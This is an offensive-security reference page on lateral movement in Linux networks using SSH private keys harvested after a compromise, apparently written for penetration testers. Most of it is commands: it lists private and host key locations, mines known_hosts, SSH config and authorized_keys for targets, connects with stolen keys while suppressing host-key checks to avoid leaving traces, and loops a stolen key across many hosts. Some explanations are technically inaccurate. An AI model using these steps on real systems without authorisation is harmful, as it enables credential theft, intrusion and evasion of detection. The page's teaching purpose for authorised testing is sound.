Skip to content
HackIndex logo

HackIndex

SSH Lateral Movement with Harvested Keys

3 min read Mar 16, 2026

Private keys found during post-exploitation are one of the most reliable lateral movement paths on Linux environments. A single key harvested from one host frequently authenticates to several others — especially in environments where the same key pair is deployed to multiple servers by a sysadmin or automation.

This page covers using those keys to move. Finding and harvesting the keys themselves is covered in SSH Keys and Agent Harvesting.

Locating Keys to Use

Private keys collected during post-exploitation are typically found at:

┌──(kali㉿kali)-[~]
└─$ ~/.ssh/id_rsa
┌──(kali㉿kali)-[~]
└─$ ~/.ssh/id_ed25519
┌──(kali㉿kali)-[~]
└─$ ~/.ssh/id_ecdsa
┌──(kali㉿kali)-[~]
└─$ ~/.ssh/id_dsa
┌──(kali㉿kali)-[~]
└─$ /root/.ssh/id_rsa
┌──(kali㉿kali)-[~]
└─$ /home/*/.ssh/id_*
┌──(kali㉿kali)-[~]
└─$ /etc/ssh/ssh_host_*_key

Check permissions before using — SSH refuses to use a key with overly permissive permissions:

┌──(kali㉿kali)-[~]
└─$ chmod 600 /tmp/harvested_key

Identifying Target Hosts from Known_Hosts

The known_hosts file records every host the key owner has connected to. This is a direct list of lateral movement targets.

┌──(kali㉿kali)-[~]
└─$ cat ~/.ssh/known_hosts
┌──(kali㉿kali)-[~]
└─$ cat /root/.ssh/known_hosts

Modern systems hash the hostnames by default. Unhash them with:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -l -f ~/.ssh/known_hosts

For a more complete parse including hashed entries:

┌──(kali㉿kali)-[~]
└─$ ssh-keyscan -t rsa $TARGET_IP 2>/dev/null

Compare the scanned fingerprint against entries in known_hosts to confirm a match without connecting.

Identifying Targets from SSH Config

The per-user SSH config often hardcodes hosts, users, and key paths for specific connections:

┌──(kali㉿kali)-[~]
└─$ cat ~/.ssh/config
┌──(kali㉿kali)-[~]
└─$ cat /root/.ssh/config
Host jumpbox
    HostName 10.10.20.5
    User deploy
    IdentityFile ~/.ssh/deploy_key

Host prod-*
    User ubuntu
    IdentityFile ~/.ssh/id_rsa

Every Host block is a lateral movement lead. The IdentityFile tells you exactly which key to use for that host.

Checking Authorized Keys on the Current Host

authorized_keys lists every public key permitted to authenticate. Cross-reference this against any private keys you have — if a public key in authorized_keys on another host matches a private key you hold, you can authenticate.

┌──(kali㉿kali)-[~]
└─$ cat ~/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ cat /root/.ssh/authorized_keys

Connecting with a Harvested Key

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/harvested_key $USER@$TARGET_IP

If the key requires a passphrase and you have it:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no $USER@$TARGET_IP

-o StrictHostKeyChecking=no skips the host fingerprint prompt, useful for scripted access to multiple hosts. Suppress the known_hosts write as well if you want to avoid leaving traces:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $USER@$TARGET_IP

Testing a Key Against Multiple Hosts

When you have a subnet of potential targets from ARP or routing enumeration, test a key across all of them:

┌──(kali㉿kali)-[~]
└─$ for host in $(cat /tmp/targets.txt); do ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 $USER@$host "id" 2>/dev/null && echo "SUCCESS: $host"; done

Replace /tmp/targets.txt with a list of IPs identified during network awareness.

Host Key Files

SSH host keys at /etc/ssh/ssh_host_*_key are private keys used by the SSH daemon itself. They are normally root-readable only, but if accessible — for example after a privilege escalation — they can be used to impersonate the host in man-in-the-middle scenarios or to authenticate where the host key has been added to authorized_keys on another system.

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/ssh/ssh_host_*

References